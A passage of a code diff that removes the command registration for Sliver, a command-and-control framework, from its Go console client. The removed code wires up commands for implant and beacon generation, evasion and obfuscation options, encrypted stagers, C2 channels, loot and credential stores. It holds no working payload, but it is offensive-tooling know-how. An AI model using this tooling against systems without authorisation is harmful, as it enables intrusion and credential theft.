save the generated stager to") - f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") - }) - generateCmd.AddCommand(generateStagerCmd) - - generateInfoCmd := &cobra.Command{ - Use: consts.CompilerInfoStr, - Short: "Get information about the server's compiler", - Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateInfoCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(generateInfoCmd) - - // Traffic Encoder SubCommands - trafficEncodersCmd := &cobra.Command{ - Use: consts.TrafficEncodersStr, - Short: "Manage implant traffic encoders", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(trafficEncodersCmd) - - trafficEncodersAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a new traffic encoder to the server from the local file system", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersAddCmd(cmd, con, args) - }, - } - Flags("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") - }) - carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) - trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) - - trafficEncodersRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a traffic encoder from the server", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(generate.TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) - trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) - - // [ Regenerate ] -------------------------------------------------------------- - - regenerateCmd := &cobra.Command{ - Use: consts.RegenerateStr, - Short: "Regenerate an implant", - Long: help.GetHelpFor([]string{consts.RegenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.RegenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(regenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(regenerateCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - server.AddCommand(regenerateCmd) - - // [ Profiles ] -------------------------------------------------------------- - - profilesCmd := &cobra.Command{ - Use: consts.ProfilesStr, - Short: "List existing profiles", - Long: help.GetHelpFor([]string{consts.ProfilesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("profiles", true, profilesCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(profilesCmd) - - profilesGenerateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate implant from a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesGenerateCmd(cmd, con, args) - }, - } - Flags("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - }) - FlagComps(profilesGenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesGenerateCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesGenerateCmd) - - profilesNewCmd := &cobra.Command{ - Use: consts.NewStr, - Short: "Create a new implant profile (interactive session)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewCmd(cmd, con, args) - }, - } - Flags("session", false, profilesNewCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use") - }) - FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["c2profile"] = generate.HTTPC2Completer(con) - }) - carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)")) - profilesCmd.AddCommand(profilesNewCmd) - - // New Beacon Profile Command - profilesNewBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Create a new implant profile (beacon)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, profilesNewBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["c2profile"] = generate.HTTPC2Completer(con) - }) - carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)")) - profilesNewCmd.AddCommand(profilesNewBeaconCmd) - - profilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesRmCmd(cmd, con, args) - }, - } - carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesRmCmd) - - profilesStageCmd := &cobra.Command{ - Use: consts.StageStr, - Short: "Generate an encrypted and/or compressed implant", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesStageCmd(cmd, con, args) - }, - } - Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "implant name") - f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") - f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") - f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") - f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)") - f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") - }) - carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesStageCmd) - - profilesInfoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Details about a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.PrintProfileInfo(args[0], con) - }, - } - carapace.Gen(profilesInfoCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesInfoCmd) - - implantBuildsCmd := &cobra.Command{ - Use: consts.ImplantBuildsStr, - Short: "List implant builds", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "", "filter builds by operating system") - f.StringP("arch", "a", "", "filter builds by cpu architecture") - f.StringP("format", "f", "", "filter builds by artifact format") - f.BoolP("only-sessions", "s", false, "filter interactive sessions") - f.BoolP("only-beacons", "b", false, "filter beacons") - f.BoolP("no-debug", "d", false, "filter builds by debug flag") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["format"] = generate.FormatCompleter() - }) - server.AddCommand(implantBuildsCmd) - - implantsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove implant build", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsRmCmd(cmd, con, args) - }, - } - carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - implantBuildsCmd.AddCommand(implantsRmCmd) - - implantStageCmd := &cobra.Command{ - Use: consts.StageStr, - Short: "Serve a previously generated implant", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsStageCmd(cmd, con, args) - }, - } - implantBuildsCmd.AddCommand(implantStageCmd) - - canariesCmd := &cobra.Command{ - Use: consts.CanariesStr, - Short: "List previously generated canaries", - Long: help.GetHelpFor([]string{consts.CanariesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.CanariesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("canaries", false, canariesCmd, func(f *pflag.FlagSet) { - f.BoolP("burned", "b", false, "show only triggered/burned canaries") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Websites ] --------------------------------------------- - - websitesCmd := &cobra.Command{ - Use: consts.WebsitesStr, - Short: "Host static content (used with HTTP C2)", - Long: help.GetHelpFor([]string{consts.WebsitesStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(websitesCmd) - Flags("websites", true, websitesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(websitesCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - - websitesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an entire website and all of its contents", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsiteRmCmd(cmd, con, args) - }, - } - carapace.Gen(websitesRmCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - websitesCmd.AddCommand(websitesRmCmd) - - websitesRmWebContentCmd := &cobra.Command{ - Use: consts.RmWebContentStr, - Short: "Remove specific content from a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesRmContent(cmd, con, args) - }, - } - Flags("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively add/rm content") - f.StringP("website", "w", "", "website name") - f.StringP("web-path", "p", "", "http path to host file at") - }) - websitesCmd.AddCommand(websitesRmWebContentCmd) - FlagComps(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - websitesContentCmd := &cobra.Command{ - Use: consts.AddWebContentStr, - Short: "Add content to a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesAddContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") - f.BoolP("recursive", "r", false, "recursively add/rm content") - }) - FlagComps(websitesContentCmd, func(comp *carapace.ActionMap) { - (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - websitesCmd.AddCommand(websitesContentCmd) - - websitesContentTypeCmd := &cobra.Command{ - Use: consts.WebContentTypeStr, - Short: "Update a path's content-type", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesUpdateContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - }) - websitesCmd.AddCommand(websitesContentTypeCmd) - FlagComps(websitesContentTypeCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - // [ Beacons ] --------------------------------------------- - - beaconsCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Manage beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr}), - GroupID: consts.SliverHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsCmd(cmd, con, args) - }, - } - Flags("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { - f.StringP("kill", "k", "", "kill the designated beacon") - f.BoolP("kill-all", "K", false, "kill all beacons") - f.BoolP("force", "F", false, "force killing the beacon") - - f.StringP("filter", "f", "", "filter beacons by substring") - f.StringP("filter-re", "e", "", "filter beacons by regular expression") - }) - FlagComps(beaconsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = use.BeaconIDCompleter(con) - }) - beaconsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a beacon", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsRmCmd(cmd, con, args) - }, - } - carapace.Gen(beaconsRmCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - beaconsCmd.AddCommand(beaconsRmCmd) - - beaconsWatchCmd := &cobra.Command{ - Use: consts.WatchStr, - Short: "Watch your beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsWatchCmd(cmd, con, args) - }, - } - beaconsCmd.AddCommand(beaconsWatchCmd) - - beaconsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Prune stale beacons automatically", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsPruneCmd(cmd, con, args) - }, - } - Flags("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { - f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") - }) - beaconsCmd.AddCommand(beaconsPruneCmd) - server.AddCommand(beaconsCmd) - - // [ Licenses ] --------------------------------------------- - - server.AddCommand(&cobra.Command{ - Use: consts.LicensesStr, - Short: "Open source licenses", - Long: help.GetHelpFor([]string{consts.LicensesStr}), - Run: func(cmd *cobra.Command, args []string) { - con.Println(licenses.All) - }, - GroupID: consts.GenericHelpGroup, - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgConfigCmd := &cobra.Command{ - Use: consts.WgConfigStr, - Short: "Generate a new WireGuard client config", - Long: help.GetHelpFor([]string{consts.WgConfigStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGConfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(wgConfigCmd) - - Flags("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save configuration to file (.conf)") - }) - FlagComps(wgConfigCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") - }) - - // [ Monitor ] -------------------------------------------------------------- - - monitorCmd := &cobra.Command{ - Use: consts.MonitorStr, - Short: "Monitor threat intel platforms for Sliver implants", - GroupID: consts.SliverHelpGroup, - } - - configCmd := &cobra.Command{ - Use: consts.MonitorConfigStr, - Short: "Configure monitor API keys", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorConfigCmd(cmd, con, args) - }, - } - monitorCmd.AddCommand(&cobra.Command{ - Use: "start", - Short: "Start the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStartCmd(cmd, con, args) - }, - }) - monitorCmd.AddCommand(&cobra.Command{ - Use: "stop", - Short: "Stop the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStopCmd(cmd, con, args) - }, - }) - configCmd.AddCommand(&cobra.Command{ - Use: "add", - Short: "Add API key configuration", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorAddConfigCmd(cmd, con, args) - }, - }) - - configCmd.AddCommand(&cobra.Command{ - Use: "del", - Short: "Remove API key configuration", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorDelConfigCmd(cmd, con, args) - }, - }) - - monitorCmd.AddCommand(configCmd) - server.AddCommand(monitorCmd) - - // [ Loot ] -------------------------------------------------------------- - - lootCmd := &cobra.Command{ - Use: consts.LootStr, - Short: "Manage the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("loot", true, lootCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("loot", false, lootCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - lootAddCmd := &cobra.Command{ - Use: consts.LootLocalStr, - Short: "Add a local file to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddLocalCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootAddCmd) - Flags("loot", false, lootAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootAddCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootAddCmd).PositionalCompletion( - carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) - - lootRemoteCmd := &cobra.Command{ - Use: consts.LootRemoteStr, - Short: "Add a remote file from the current session to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddRemoteCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootRemoteCmd) - Flags("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootRemoteCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) - - lootRenameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Re-name a piece of existing loot", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRenameCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRenameCmd) - - lootFetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootFetchCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootFetchCmd) - Flags("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save loot to a local file") - f.StringP("filter", "f", "", "filter based on loot type") - }) - FlagComps(lootFetchCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") - }) - - lootRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRmCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRmCmd) - Flags("loot", false, lootRmCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - server.AddCommand(lootCmd) - - // [ Credentials ] ------------------------------------------------------------ - credsCmd := &cobra.Command{ - Use: consts.CredsStr, - Short: "Manage the database of credentials", - Long: help.GetHelpFor([]string{consts.CredsStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - creds.CredsCmd(cmd, con, args) - }, - } - Flags("creds", true, credsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(credsCmd) - - credsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddCmd(cmd, con, args) - }, - } - Flags("", false, credsAddCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("username", "u", "", "username for the credential") - f.StringP("plaintext", "p", "", "plaintext for the credential") - f.StringP("hash", "P", "", "hash of the credential") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddCmd, func(comp *carapace.ActionMap) { - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - credsCmd.AddCommand(credsAddCmd) - - credsAddFileCmd := &cobra.Command{ - Use: consts.FileStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddHashFileCmd(cmd, con, args) - }, - } - Flags("", false, credsAddFileCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("file-format", "F", creds.HashNewlineFormat, "file format of the credential file") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddFileCmd, func(comp *carapace.ActionMap) { - (*comp)["collection"] = creds.CredsCollectionCompleter(con) - (*comp)["file-format"] = creds.CredsHashFileFormatCompleter(con) - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) - credsAddCmd.AddCommand(credsAddFileCmd) - - credsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsRmCmd(cmd, con, args) - }, - } - carapace.Gen(credsRmCmd).PositionalCompletion(creds.CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) - credsCmd.AddCommand(credsRmCmd) - - // [ Hosts ] --------------------------------------------------------------------- - - hostsCmd := &cobra.Command{ - Use: consts.HostsStr, - Short: "Manage the database of hosts", - Long: help.GetHelpFor([]string{consts.HostsStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(hostsCmd) - Flags("hosts", true, hostsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", 